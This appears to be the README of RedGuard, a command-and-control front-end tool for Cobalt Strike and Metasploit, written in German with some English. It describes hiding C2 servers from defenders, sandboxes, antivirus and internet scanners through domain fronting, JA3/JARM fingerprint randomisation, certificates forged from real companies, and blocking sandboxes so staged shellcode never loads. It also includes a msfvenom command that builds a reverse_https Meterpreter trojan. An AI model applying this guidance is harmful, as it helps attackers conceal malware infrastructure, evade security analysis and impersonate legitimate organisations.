wikiz/redguardC2-Front-Flusskontroll-Tool mit JA3/JARM-Fingerabdruck-Randomisierung, Domain-Fronting, malleable C2 Profilvalidierung und IP-Whitelisting, um Blue Teams, AVs, EDRs und Cyberspace-Kartierung zu umgehen.
Englisch | 中文文档
RedGuard, ein abgeleitetes Tool, das auf Command and Control (C2) front flow control Technologie basiert, hat ein leichteres Design, effiziente Traffic-Interaktion und zuverlässige Kompatibilität mit der Entwicklung in der Go-Programmiersprache.Da Cyberangriffe sich ständig weiterentwickeln , werden die Übungen von Red und Blue Teams zunehmend komplexer, RedGuard wurde entwickelt, um eine bessere C2-Kanal-Verstecklösung für das Red Team bereitzustellen, die die Flusskontrolle für den C2-Kanal bereitstellt, den "bösartigen" Analyseverkehr blockiert und die gesamte Angriffsaufgabe besser abschließt.
RedGuard ist ein C2 Front Flow Control Tool, das Blue Team, AVS, EDR, Cyberspace Search Engine Erkennungen vermeiden kann.
Sie können die kompilierte Version direkt herunterladen und verwenden, oder Sie können das Go-Paket remote herunterladen, um es unabhängig zu kompilieren und auszuführen.```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 Konfigurationsbeschreibung
## Initialisierung
Wie in der folgenden Abbildung gezeigt, setzen Sie die ausführbaren Berechtigungen und initialisieren Sie RedGuard. Der erste Start generiert eine Konfigurationsdatei im Home-Verzeichnis des aktuellen Benutzers, um eine flexible Funktionskonfiguration zu erreichen. Konfigurationsdateiname: **.RedGuard_CobaltStrike.ini**.
**Inhalt der Konfigurationsdatei:**
Die Konfigurationsoptionen von cert dienen hauptsächlich der Konfigurationsinformationen der SSL-Zertifikat-verschlüsselten HTTPS-Kommunikation zwischen der Probe und der C2-Frontinfrastruktur. Der Proxy wird hauptsächlich verwendet, um die Steuerungsoptionen im Reverse-Proxy-Verkehr zu konfigurieren. Die spezifische Verwendung wird unten ausführlich erklärt.
Die SSL-Zertifikat-verschlüsselte HTTPS-Kommunikation wird im cert-rsa/ Verzeichnis unter dem Verzeichnis, in dem RedGuard ausgeführt wird, generiert. Sie können die grundlegenden Funktionen des Tools starten und stoppen, indem Sie die Konfigurationsdatei ändern **(die Seriennummer des Zertifikats wird gemäß dem Zeitstempel generiert, machen Sie sich keine Sorgen, mit dieser Funktion in Verbindung gebracht zu werden)**. Wenn Sie Ihr eigenes Zertifikat verwenden möchten, benennen Sie sie einfach in ca.crt und ca.key um.```bash
openssl x509 -in ca.crt -noout -text
Zufällige TLS-JARM-Fingerabdrücke werden jedes Mal aktualisiert, wenn RedGuard gestartet wird, um zu verhindern, dass dies zur Authentifizierung der C2-Infrastruktur verwendet wird.
Falls Sie Ihr eigenes Zertifikat verwenden, ändern Sie den HasCert-Parameter in der Konfigurationsdatei auf true, um normale Kommunikationsprobleme zu vermeiden, die durch die Inkompatibilität der CipherSuites-Verschlüsselungssuite mit dem benutzerdefinierten Zertifikat aufgrund der JARM-Verschleierungsrandomisierung verursacht werden.```bash
HasCert = false
### Gefälschte TLS-Zertifikate
Beim Einsatz von Domain Fronting zur Verschleierung von C2-Traffic besitzt der beschleunigte Domainname standardmäßig keine HTTPS-Zertifikatinformationen. Dies ist offensichtlich problematisch, daher muss bei der Konfiguration des Domainnamens auf die Zertifikatseinrichtung geachtet werden. Dies ist auch die Standardgrundlage für die Bestimmung, ob es sich bei der Probe um Domain-Frontend-Traffic handelt.
[^Tencent Cloud]: Konfiguration des Content-Delivery-Network-Zertifikats
Ich glaube, dass nach der Lektüre einige Fragen aufkommen werden: **Wie erhält man das konfigurierte Zertifikat? Wenn Sie Ihr eigenes Zertifikat verwenden, wird der gewünschte Anonymitätseffekt nicht erreicht.** Hier können Sie das geklonte Zertifikat für die Konfiguration verwenden. Am Beispiel von Tencent Cloud wurde im Test festgestellt, dass die Gültigkeit des benutzerdefiniert hochgeladenen Zertifikats nicht überprüft wird. Wir können dasselbe Zertifikat wie die tatsächliche Website des beschleunigten Domainnamens verwenden, um es zu fälschen. Obwohl das gefälschte Zertifikat unter normalen Umständen nicht kommunizieren kann, wenn es das Standardzertifikat von CS ersetzt, wird seine Gültigkeit bei der Bereitstellung auf der CDN-Vollseitenbeschleunigung des Cloud-Dienstanbieters und RedGuard nicht überprüft, und der C2-Interaktionsverkehr kann normal kommunizieren.
**Im Folgenden finden Sie die bestehende Projektadresse auf Github**```bash
https://github.com/virusdefender/copy-cert
Obwohl das Zertifikat auf der Front-End-Traffic-Seite der Beispiel-Domain aufgelöst wurde, ist unser C2-Server aus der Perspektive des großflächigen Netzwerk-Mappings immer noch der Außenwelt ausgesetzt und kann möglicherweise weiterhin erkannt und mit dem echten C2-Server in Verbindung gebracht werden. Zu diesem Zeitpunkt kann RedGuard verwendet werden, um das voreingestellte Fronting-Zertifikat von C2 zu ändern, um Anonymität zu erreichen.
Das Obige zeigt die Wirkung des gefälschten Zertifikats des C2-Servers. Es ist ersichtlich, dass es in der Intelligence der Threatbook-Community glaubwürdig und nicht abgelaufen ist. Die Hauptmethode zur Beschaffung des digitalen Zertifikats besteht darin, es während der Beispielanalyse in der Cloud-Sandbox zu extrahieren und in Echtzeit zu aktualisieren, aber es wird offensichtlich nicht effektiv verifiziert. Der Statuswert verifiziert nur die Ablaufzeit. Die Zertifikatsvertrauensprüfung sollte nur darauf basieren, ob eine normale Kommunikation erreicht werden kann.
Es ist zu beachten, dass Threatbook-Intelligence die SNI- und HOST-Adressen von Beispielanfragen nicht mit Zertifikats-Intelligence markiert. Dies dient tatsächlich dazu, Fehlalarme zu vermeiden. Ich denke, das ist richtig. Als wichtige Grundlage zur Unterstützung von Forschern bei der Analyse ist es besser, dass Threat Intelligence unvollständig ist, als in die falsche Richtung zu weisen, was zu Fehlurteilen in der nachfolgenden Analyse führen würde. Wenn das Konfigurieren von Zertifikaten für die Full-Site-Beschleunigung darin besteht, Zertifikate für Kommunikationsverkehr zu fälschen, dann besteht das Konfigurieren des Vorabantwortzertifikats von RedGuard C2 darin, die Verhaltensmerkmale des echten C2-Servers, der im öffentlichen Netz bereitgestellt wird, zu fälschen, um Anti-Mapping-Effekte zu erzielen, was sehr notwendig ist.
Extrahieren Sie die Seriennummer des Zertifikats: 55e6acaed1f8a430f9a938c5, und führen Sie die HEX-Kodierung durch, um den TLS-Zertifikatsfingerabdruck zu erhalten: 26585094245224241434632730821
Anzahl der Suchergebnisse: 2291
Durch Cyberspace-Mapping wurden 2,291 unabhängige IP-Adressen entdeckt, und die Verifizierung bestätigte, dass alle TLS-Zertifikate von Baidu besaßen. Es ist schwierig, allein anhand des Kommunikationsverkehrs zu bestimmen, ob es sich um bösartige Kommunikation handelt. Die TLS-Zertifikate für die Domain-Front-End- und C2-Front-End-Verkehrseinrichtungen wurden jedoch gefälscht, was erfolgreich das Space-Mapping und die Threat Intelligence störte, Fehlinformationen verursachte, die Verkehrsmerkmale des Angreifers realistischer machte und den Zweck der Fälschung von normalem Kommunikationsverkehr erreichte.
Auch wenn vor der C2-Verkehrs-Front-End-Einrichtung keine versteckte Weiterleitungsverarbeitung vorhanden ist, ist es am besten, das Zertifikat für RedGuard zu ändern. Standardmäßig verwendet jede Fingerabdruckbibliothek, die durch die Fingerabdruckerkennung der derzeit im Cyberspace-Mapping verwendeten gängigen Komponenten gebildet wird, das Verhalten der Standardkonfigurationsmerkmale gängiger Komponenten zur Identifizierung. Verschiedene Gruppen können während dieser Anpassungsprozesse unterschiedliche einzigartige Merkmale aufweisen. Natürlich erfordert die Bildung von Fingerabdrücken ein gewisses Verständnis der Zielkomponente, um die Standardmerkmale des Ziels zu extrahieren und einen zugehörigen Fingerabdruck zu bilden. Hier werden die Verhaltensmerkmale des RG-Zertifikats für das Cyberspace-Mapping verwendet, was mit einer großen Anzahl von RG-Knoten in Verbindung gebracht wird, die im öffentlichen Netz bereitgestellt sind.
Es ist nicht überraschend, dass der Autor den Fingerabdruck extrahieren konnte, aber es wird dennoch empfohlen, dass RedGuard-Benutzer die Standardzertifikatinformationen ändern und ein professioneller Hacker sein:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**P.S. Sie können den Parameterbefehl verwenden, um die Konfigurationsdatei zu ändern. Natürlich denke ich, dass es möglicherweise bequemer ist, sie manuell mit vim zu bearbeiten.**
# 0x03 Werkzeugnutzung
## Basisabfang
Wenn Sie direkt auf den Port des Reverse-Proxy zugreifen, wird die Abfangregel ausgelöst. Hier können Sie das Root-Verzeichnis der Client-Anfrage über das Ausgabelog sehen, aber da die Anfrage nicht die angeforderten Anmeldeinformationen, d. h. den korrekten HOST-Request-Header, mit sich führt, wird die Basisabfangregel ausgelöst und der Datenverkehr zu <https://360.net> umgeleitet.
Hier ist nur eine Demonstration der Ausgabe; die tatsächliche Nutzung kann im Hintergrund mit `nohup ./RedGuard &` ausgeführt werden.
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
Es ist nicht schwer zu erkennen, dass 360.net an den lokalen Port 8080 weitergeleitet wird, 360.com an den lokalen Port 4433, und auch das verwendete HTTP-Protokoll unterschiedlich ist. Im tatsächlichen Einsatz muss auf den Protokolltyp des Listeners geachtet werden, der mit den hier eingestellten Einstellungen übereinstimmt, und der entsprechende HOST-Request-Header gesetzt werden.
Wie in der obigen Abbildung dargestellt, erhalten wir bei unbefugtem Zugriff als Antwortinformationen auch die Rückgabeinformationen der weitergeleiteten Website.
Im obigen grundlegenden Abfangfall wird die Standard-Abfangmethode verwendet – der illegale Traffic wird durch Umleitung abgefangen. Durch Ändern der Konfigurationsdatei können wir die Abfangmethode und die URL der weitergeleiteten Site ändern. Tatsächlich, anstatt dies als Weiterleitung zu bezeichnen, denke ich, dass es treffender wäre, es als Hijacking, Klonen zu beschreiben, da der zurückgegebene Antwortstatuscode 200 ist und die Antwort von einer anderen Website bezogen wird, um die geklonte/gekaperte Website so genau wie möglich nachzuahmen.
Ungültige Pakete können gemäß drei Strategien falsch weitergeleitet werden:
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** in der Konfigurationsdatei zeigt auf die gekaperte URL-Adresse. RedGuard unterstützt "Hot Change", was bedeutet, dass wir die Konfigurationsdatei ändern können, während das Tool im Hintergrund über `nohup` läuft. Der Inhalt wird in Echtzeit gestartet und gestoppt.```bash
./RedGuard -u --drop true
Beachten Sie, dass beim Ändern der Konfigurationsdatei über die Befehlszeile die Option -u nicht fehlen darf, da die Konfigurationsdatei sonst nicht erfolgreich geändert werden kann. Wenn Sie die Standardeinstellungen der Konfigurationsdatei wiederherstellen möchten, geben Sie einfach ./RedGuard -u ein.
Eine weitere Abfangmethode ist DROP, die die HTTP-Kommunikationsantwort direkt schließt und durch Setzen von DROP = true aktiviert wird. Der spezifische Abfangeffekt ist wie folgt:
Es ist ersichtlich, dass die C2-Frontflusssteuerung die Antwort auf illegale Anfragen ohne HTTP-Antwortcode direkt schließt. Bei der Erkennung von Cyberspace-Mapping kann die DROP-Methode das Öffnen von Ports verbergen. Der spezifische Effekt kann im folgenden Fall analysiert werden.
Ich bin überzeugt, dass viele Benutzer an Hijacking von Antworten interessiert sein werden. Das allgemeine Prinzip ist: Wenn der Client eine Anfrage an den echten C2-Server sendet, diese jedoch nicht den Inbound-Regeln entspricht, ruft der C2-Server die angegebene normale Website ab und gibt deren Antwortinformationen zurück. Aus Sicht des anfragenden Endes scheint es daher, als würde mit dem IP-Dienst interagiert, tatsächlich wird jedoch der zwischengeschaltete C2-Server als Proxyserver genutzt, um mit der normalen Website zu interagieren, sodass Anomalien schwer zu erkennen sind. Wenn die Anfrage den Inbound-Regeln entspricht, wird der Datenverkehr an den echten C2-Service-Listening-Port weitergeleitet, und der echte Listening-Port wurde durch die Cloud-Firewall gefiltert, sodass nur lokaler Zugriff möglich ist und er nicht direkt von außen erreicht werden kann. Aus Sicht der externen Port-Öffnung ist also nur der HTTP/S-Port geöffnet, und in gewisser Weise ist dies tatsächlich der Online-Port von C2.
In den Cyberspace-Mapping-Daten ist der HTTP/S-Offenport-Antwortcode der IP 200, nicht ein 307-Sprung, was authentischer ist.
Das HTTPS-Zertifikat hat denselben Effekt wie das oben erwähnte gefälschte Zertifikat, und beide sind Fingerabdrücke echter Zertifikate.
Ich bin überzeugt, dass viele Red Teams in Kampfprojekten häufig Tarnmethoden wie Cloud-Funktionen/Domain-Fronting einsetzen. In der heutigen offensiven und defensiven Konfrontation haben die beiden oben genannten Tarnmethoden jedoch ein fatales Problem: Sie können direkt mit dem C2-Dienst verbinden. Das Ergebnis ist zweifellos, dass wir bei Kenntnis der Cloud-Funktionsadresse oder der interaktiven IP/HOST des Domain-Frontings direkt auf den C2-Listening-Dienst zugreifen und nachweisen können, dass es sich um eine Angriffsinfrastruktur handelt.
Da der Datenverkehr direkt zu C2 gelangen kann, ist es überlegenswert, ob das Sicherheitsgerät CS-Scans auf Datenverkehr durchführen kann, der nicht mit SNI und HOST übereinstimmt, um festzustellen, ob es sich um bösartigen Datenverkehr handelt. Gleiches gilt für Cloud-Funktionen oder Sandbox-Umgebungen. Neben der Sample-Seite kann es auch mehr Analyseprozesse auf Datenverkehrsebene geben.
Nach dem Hijacking der Antwort kann der direkte Zugriff auf den HTTP-Dienst normal mit der Website interagieren, aber Cscan kann die Sample-Informationen nicht scannen, da der Datenverkehr den echten C2-Listener nicht erreicht. Normale C2-Interaktion ist nur möglich, wenn die Merkmale der Datenverkehrsinitiierung erfüllt sind. Es gibt jedoch ein Problem. Das C2-Scan-Skript muss den Inbound-Regeln entsprechen, was eine gewisse Herausforderung für die Programmierfähigkeiten der Blue-Team-Analysten darstellt. Das derzeit öffentlich zugängliche Scan-Skript hat die Form von Nmap.
JA3 bietet einen besser erkennbaren Fingerabdruck für verschlüsselte Kommunikation zwischen Clients und Servern. Es verwendet TLS-Fingerabdrücke, um TLS-Aushandlungen zwischen bösartigen Clients und Servern zu identifizieren und so den Effekt der Verknüpfung bösartiger Clients zu erzielen. Dieser Fingerabdruck ist auf jeder Plattform einfach mit MD5-Verschlüsselung zu generieren und wird derzeit häufig in Threat Intelligence verwendet. Beispielsweise ist er in Sample-Analyseberichten einiger Sandboxen zu sehen, um die Korrelation zwischen verschiedenen Samples nachzuweisen.
Wenn wir die JA3(S) des C2-Servers und des bösartigen Clients beherrschen, können wir selbst bei verschlüsseltem Datenverkehr und unbekannter IP-Adresse oder Domain des C2-Servers die TLS-Aushandlung zwischen dem bösartigen Client und dem Server durch TLS-Fingerprinting identifizieren. Ich glaube, dass jeder nach dem Lesen darauf kommt, dass dies auch eine Maßnahme gegen Tarnmethoden der Datenverkehrsumleitung wie Domain-Fronting, Reverse Proxy und Cloud-Funktionen ist. Durch die Sandbox-Ausführung von Sample-Identifikation und C2-Kommunikations-TLS-Aushandlung können JA3(S)-Fingerabdrücke generiert werden, die in Threat Intelligence zur unterstützenden Rückverfolgung eingesetzt werden können.
Ich habe diese Technologie 2022 angekündigt. Beim Testen der Micro-Step-Sandbox-Umgebung stellte ich fest, dass die Anzahl der ausgehenden IPs, die eine Interaktion anforderten, zwar gering war, es aber ungenau war, die Sandbox anhand der IP zu identifizieren, und dies ein Merkmal war, das leicht geändert werden konnte, aber ihr JA3-Fingerabdruck war in derselben Systemumgebung eindeutig. Später erhielt ich die Rückmeldung, dass die Sandbox die Fingerabdruck-Randomisierung abgeschlossen hatte, aber aktuelle Tests haben gezeigt, dass sie noch nicht vollständig implementiert ist. Ich hoffe dennoch, dass wir uns dem Problem der Fingerabdrücke auf der Datenverkehrsseite stellen können.
Aus Sicht der Cloud-Sandbox wird durch Überwachung der Datenverkehrsinteraktion zwischen dem Sample und dem C2-Server der JA3(S)-Fingerabdruck generiert, um den bösartigen Client zu identifizieren und so eine Verknüpfung herzustellen. Umgekehrt können wir als Datenverkehrskontrollinstanz vor C2 ebenfalls solche Operationen durchführen, um den JA3-Fingerabdruck der Client-Anfrage zu erhalten. Durch das Debuggen verschiedener Sandbox-Umgebungen werden diese JA3-Fingerabdrücke gesammelt, um eine Fingerabdruck-Datenbank zu bilden und so eine grundlegende Abfangstrategie zu etablieren.
Stellen Sie sich vor, dass der Loader im Prozess der gestaffelten Trojaner-Interaktion zuerst den Shellcode der entfernten Adresse abruft. Wenn der Datenverkehr dann feststellt, dass die Anfrage den Cloud-Sandbox-Merkmalen der JA3-Fingerabdruck-Datenbank entspricht, werden die nachfolgenden Anfragen abgefangen. Wenn der Shellcode nicht abgerufen werden kann, kann der gesamte Ladevorgang nicht abgeschlossen werden, und die Sandbox kann ihn folglich nicht vollständig analysieren. Wenn es sich um einen stufenlosen Trojaner handelt, kann die Sandbox-Analyse ebenfalls nicht endgültig an den C2-Server hochgeladen werden. Ich glaube, jeder ist schon einmal aufgewacht und hat viele lang andauernde Sandbox-Einträge auf dem C2 gefunden. Natürlich können wir im Idealfall verschiedene Sandbox-Umgebungen identifizieren, was hauptsächlich von der Zuverlässigkeit der Fingerabdruck-Datenbank abhängt.
Während des Tests stellte ich fest, dass, nachdem ich den JA3-Fingerabdruck der ZoomEye GO-Sprachbibliothek zur Fingerabdruck-Datenbank hinzugefügt und den RG-Anfragedatenverkehr überwacht hatte, die meisten Anfragen die grundlegende Abfangfunktion der JA3-Fingerabdruck-Datenbank auslösten. Ich vermute hier, dass die zugrunde liegende Sprache des Vermessungs- und Kartierungsprodukts ein Teil der Scan-Aufgabe ist, der in GO implementiert ist. Durch eine Verknüpfung vervollständigte die aus verschiedenen zugrunde liegenden Sprachen zusammengesetzte Scan-Logik schließlich die gesamte Scan-Aufgabe. Dies erklärt auch, warum der Scan einiger Vermessungs- und Kartierungsprodukte die JA3-Fingerabdruck-Abfangfunktion der GO-Sprachbibliothek auslöste. Das Erkennungsregelprinzip ist dasselbe wie das des Cloud-Sandbox-Fingerabdrucks. Beide nutzen die Einzigartigkeit der Client-Umgebung und der Anfragebibliothek. Anders als auf der PC-Seite wird die Anfrageumgebung dieser Produkte grundsätzlich nicht willkürlich geändert, was es uns ermöglicht, ihren Datenverkehrs-Fingerabdruck zu erfassen und abzufangen. Können wir also darüber nachdenken, ob das Sicherheitsgerät den JA3-Fingerabdruck des aktiven Erkennungsdatenverkehrs als Grundlage für das Abfangen verwenden kann? Natürlich kann es bei großem Geschäftsverkehr zu einer gewissen Anzahl von Fehlalarmen kommen. Hier schlagen wir nur theoretisch umsetzbare Produktanforderungen vor.
P.S. Benutzer können auch Samples in die Sandbox hochladen, um ihre JA3-Fingerabdrücke zu erhalten und zu überprüfen und sie zur Fingerabdruck-Datenbank hinzuzufügen. Es ist zu beachten, dass es bedeutungslos ist, wenn die Sandbox den JA3-Fingerabdruck nur auf einen anderen als den obigen Fingerabdruck ändert. Was wirklich gelöst werden muss, ist, dass die Sandbox bei jeder dynamischen Analyse nicht denselben Fingerabdruck verwendet, und ihre Änderungen müssen die Anforderung erfüllen, sich möglichst nicht zu wiederholen. Wenn die Wiederholungsrate hoch ist, wird er dennoch als Fingerabdruck verwendet.
Unterstützt derzeit die Identifizierung und das Abfangen der Threatbook Cloud-Sandbox als Effektdemonstration
Die Konfiguration der folgenden zwei Parameter in der Konfigurationsdatei realisiert den Effekt der Änderung des Reverse-Proxy-Ports. Es wird empfohlen, die Standard-Port-Versteckung zu verwenden, solange sie nicht mit dem aktuellen Server-Port kollidiert. Falls eine Änderung erforderlich ist, achten Sie darauf, dass das : im Parameterwert nicht fehlt.```bash
Port_HTTPS = :443
Port_HTTP = :80
## RedGuard-Protokolle
Das Tracing-Verhalten des Blue Teams wird durch das Abfangprotokoll der Zielanfrage analysiert, das verwendet werden kann, um Peer-Verbindungsereignisse/-probleme zu verfolgen. Die Protokolldatei wird in dem Verzeichnis erstellt, in dem RedGuard ausgeführt wird, **Dateiname: RedGuard.log**.
## RedGuard Ermittlung der echten IP-Adresse
Dieser Abschnitt beschreibt, wie RG konfiguriert wird, um die echte IP-Adresse einer Anfrage zu erhalten. Sie müssen lediglich die folgende Konfiguration zum Profil des C2-Geräts hinzufügen, die echte IP-Adresse des Ziels wird über den Anforderungsheader X-Forwarded-For ermittelt.```bash
http-config {
set trust_x_forwarded_for "true";
}
Die Konfigurationsmethode verwendet als Beispiel AllowLocation = Jinan, Beijing. Beachten Sie, dass RedGuard zwei APIs für die umgekehrte IP-Zuordnung bereitstellt, eine für Benutzer in Festlandchina und eine für Benutzer außerhalb Festlandchinas, und dynamisch zuweisen kann, welche API je nach eingegebenem geografischen Domainnamen verwendet wird. Wenn das Ziel China ist, verwenden Sie für die eingestellte Region Chinesisch, andernfalls englische Ortsnamen. Es wird empfohlen, dass Benutzer in Festlandchina chinesische Namen verwenden, da dies die Genauigkeit der Zuordnung und die Antwortgeschwindigkeit der durch die umgekehrte Abfrage erhaltenen API optimiert.
P.S. Benutzer in Festlandchina verwenden AllowLocation = Jinan,beijing nicht auf diese Weise! Es macht nicht viel Sinn, das erste Zeichen des Parameterwerts bestimmt, welche API verwendet wird!```bash
AllowLocation = *
Bevor Sie sich entscheiden, die Region einzuschränken, können Sie die IP-Adresse manuell mit dem folgenden Befehl abfragen.```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
Hier stellen wir ein, dass nur die Region Shandong online gehen darf
Legitimer Datenverkehr:
Unzulässiger Anforderungsbereich:
Im Hinblick auf die Verbindungen geografischer Einschränkungen könnte dies in der aktuellen Offensiv- und Defensivübung praktischer sein. Grundsätzlich sind die Ziele der Einschränkungen in provinziellen und kommunalen Offensiv- und Defensivübungen in festgelegten Gebieten, und der von anderen Gebieten angeforderte Datenverkehr kann natürlich ignoriert werden. Diese Funktion von RedGuard kann nicht nur eine einzelne Region einschränken, sondern auch mehrere Verbindungsregionen nach Provinzen und Städten begrenzen und den von anderen Regionen angeforderten Datenverkehr abfangen.
Zusätzlich zur integrierten IP-Blacklist von Cybersicherheitsanbietern in RedGuard können wir auch nach der Whitelist-Methode einschränken. Tatsächlich empfehle ich auch, dass wir während des Web-Pentests die Online-IP-Adressen gemäß der Whitelist einschränken können, um mehrere Wege der IP-Adresse aufzuteilen.```bash
AllowIP = 127.0.0.1
Wie in der obigen Abbildung gezeigt, beschränken wir die Verbindungen auf 127.0.0.1, sodass der Anfrageverkehr anderer IPs blockiert wird.
## Block basierend auf Zeitraum
Diese Funktion ist interessanter. Das Setzen der folgenden Parameterwerte in der Konfigurationsdatei bedeutet, dass die Verkehrskontrolleinrichtung nur von 8:00 Uhr bis 21:00 Uhr verbinden kann. Das spezifische Anwendungsszenario hier ist, dass wir während der angegebenen Angriffszeit die Kommunikation mit C2 erlauben und zu anderen Zeiten schweigen. Dies ermöglicht es den Red Teams auch, gut zu schlafen, ohne sich Sorgen machen zu müssen, dass ein Nachtschicht-Blue-Team gelangweilt Ihren Trojaner analysiert und dann etwas Unbeschreibliches aufwacht, hahaha.```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard verwendet das Malleable C2-Profil. Es analysiert den bereitgestellten erweiterbaren Konfigurationsdateiabschnitt, um den Vertrag zu verstehen und nur die eingehenden Anfragen durchzulassen, die ihn erfüllen, während andere Anfragen in die Irre geführt werden. Teile wie http-stager, http-get und http-post und deren entsprechende URIs, Header, User-Agent usw. werden verwendet, um legitime Beacon-Anfragen von irrelevantem Internet-Rauschen oder IR/AV/EDR-Out-of-Bounds-Paketen zu unterscheiden.```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
Das von 风起 geschriebene Profil wird zur Verwendung empfohlen:
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## Benutzerdefinierte Löschung von Antwortfeldern
In Cobalt Strike 4.7+ entfernt der Teamserver automatisch den Content-Encoding-Header ohne Benachrichtigung, was möglicherweise eine Verletzung des malleable http-(get|post).server verursacht. Darüber hinaus, wenn es keinen Content-Type in der CS-Server-Antwortnachricht gibt, aber nach der Weiterleitung durch RedGuard wird der Content-Type zum Antwortnachrichten-Header hinzugefügt, was dazu führt, dass cf die Seite zwischenspeichert und Störungen verursacht.
Nach RedGuard 23.08.21 wurde die Funktion zum Anpassen des Headers des Antwortpakets hinzugefügt. Benutzer können die Header-Informationen im Antwortpaket durch Ändern der Konfigurationsdatei anpassen und löschen, um das Problem der falschen Analyse zu lösen.```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13 hat die Erkennungsfunktion für Trojaner-Beispiel-Fingerabdrücke aktualisiert. Diese basiert auf der Anpassung des HTTP-Header-Feldes des Malleable Profile als Fingerabdruck „sample salt value“ zur eindeutigen Identifizierung desselben C2-Listener/Header Host. Zusätzlich kann der durch Kombination anderer relevanter Anfragefelder erzeugte Trojaner-Beispiel-Fingerabdruck zur Erkennung der benutzerdefinierten Beispiel-Lebendigkeit verwendet werden. Entsprechend den Aufgabenanforderungen des Angreifers kann die Erkennungsfunktion für Trojaner-Beispiel-Fingerabdrücke eine „offline operation“ für die zu deaktivierenden Beispiele durchführen, um die bösartige Verkehrsanalyse der Beispielkommunikation und die Analyse der gestaffelten Beispiel-PAYLOAD-Angriffsnutzlast besser zu umgehen, und dem Angreifer personalisiertere Tarnmaßnahmen bieten.
Für verschiedene C2-Listener können wir den Malleable Profile-Konfigurationen unterschiedliche Aliase geben, die Feldnamen und Werte zugehöriger Header als Beispiel-Salzwert anpassen und ihn als eines der Unterscheidungsmerkmale zwischen verschiedenen Beispielen verwenden. Der folgende Code dient der Veranschaulichung; in tatsächlichen Angriffs- und Verteidigungsszenarien können wir realistischere HTTP-Anforderungspaketfelder als Grundlage für die Beurteilung verwenden.```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**HTTP-Verkehr**
Wie in der Abbildung gezeigt, verwenden wir den obigen Beispiel-Salt-Wert und das Host-Feld als Grundlage für die Fingerabdruckgenerierung. Hier wissen wir:
- **Salt-Wert：866e5289337ab033f89bc57c5274c7ca**
- **Host ：redguard.com**
Durch das Zusammenfügen der obigen Werte ergibt sich der folgende Beispiel-Fingerabdruck:```bash
22e6db08c5ef1889d64103a290ac145c
Now that we know the above sample fingerprint, we can set the custom Header field and sample fingerprint in the RedGuard configuration file for malicious traffic interception. It is worth noting that we can extend multiple sample fingerprints, separated by commas, and the FieldName needs to be consistent with the Header field name configured in the Malleable Profile
Because RedGuard’s configuration file is a hot configuration, we don’t need to restart RedGuard to intercept the samples we want to disable. When we want the sample to be reactivated, we just need to delete the relevant sample fingerprint from the RedGuard configuration file.
Demonstration effect:
If there is a problem with the above method, the actual online C2 server cannot be directly intercepted by the firewall, because the actual load balancing request in the reverse proxy is made by the IP of the cloud server manufacturer.
In single combat, we can set an interception rules on the cloud server firewall.
Then set the address pointed to by the proxy to https://127.0.0.1:4433.```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
Und da unsere grundlegende Verifizierung auf dem HTTP-HOST-Request-Header basiert, ist das, was wir im HTTP-Verkehr sehen, auch identisch mit der Domain-Fronting-Methode, aber die Kosten sind niedriger und es wird nur ein Cloud-Server benötigt.
Für die Listener-Einstellungen wird `HTTPS Port (C2)` auf den Reverse-Proxy-Port von RedGuard gesetzt, und `HTTPS Port (Bind)` ist der tatsächliche Verbindungsport der lokalen Maschine.
## Metasploit
**Erzeugt Trojaner**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
Natürlich können Sie als ein Domain-Fronting-Szenario auch Ihren LHOST so konfigurieren, dass er einen beliebigen Domainnamen des CDN des Herstellers verwendet, und achten Sie darauf, den HttpHostHeader so zu setzen, dass er mit RedGuard übereinstimmt.```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
Es ist wichtig zu beachten, dass die `OverrideRequestHost`-Einstellung auf `true` gesetzt sein muss. Dies liegt an einer Funktion, wie Metasploit standardmäßig eingehende HTTP/S-Anfragen behandelt, wenn es die Konfiguration für Staging-Payloads generiert. Standardmäßig verwendet Metasploit den `Host`-Header-Wert der eingehenden Anfrage (falls vorhanden) für die Konfiguration der zweiten Stufe anstelle des `LHOST`-Parameters. Daher ist die Build-Stufe so konfiguriert, dass sie Anfragen direkt an Ihren versteckten Domainnamen sendet, da CloudFront Ihre interne Domain im `Host`-Header der weitergeleiteten Anfragen übergibt. Das ist eindeutig nicht das, was wir möchten. Mit dem Konfigurationswert `OverrideRequestHost` können wir Metasploit zwingen, den eingehenden `Host`-Header zu ignorieren und stattdessen den `LHOST`-Konfigurationswert zu verwenden, der auf die ursprüngliche CloudFront-Domain verweist.
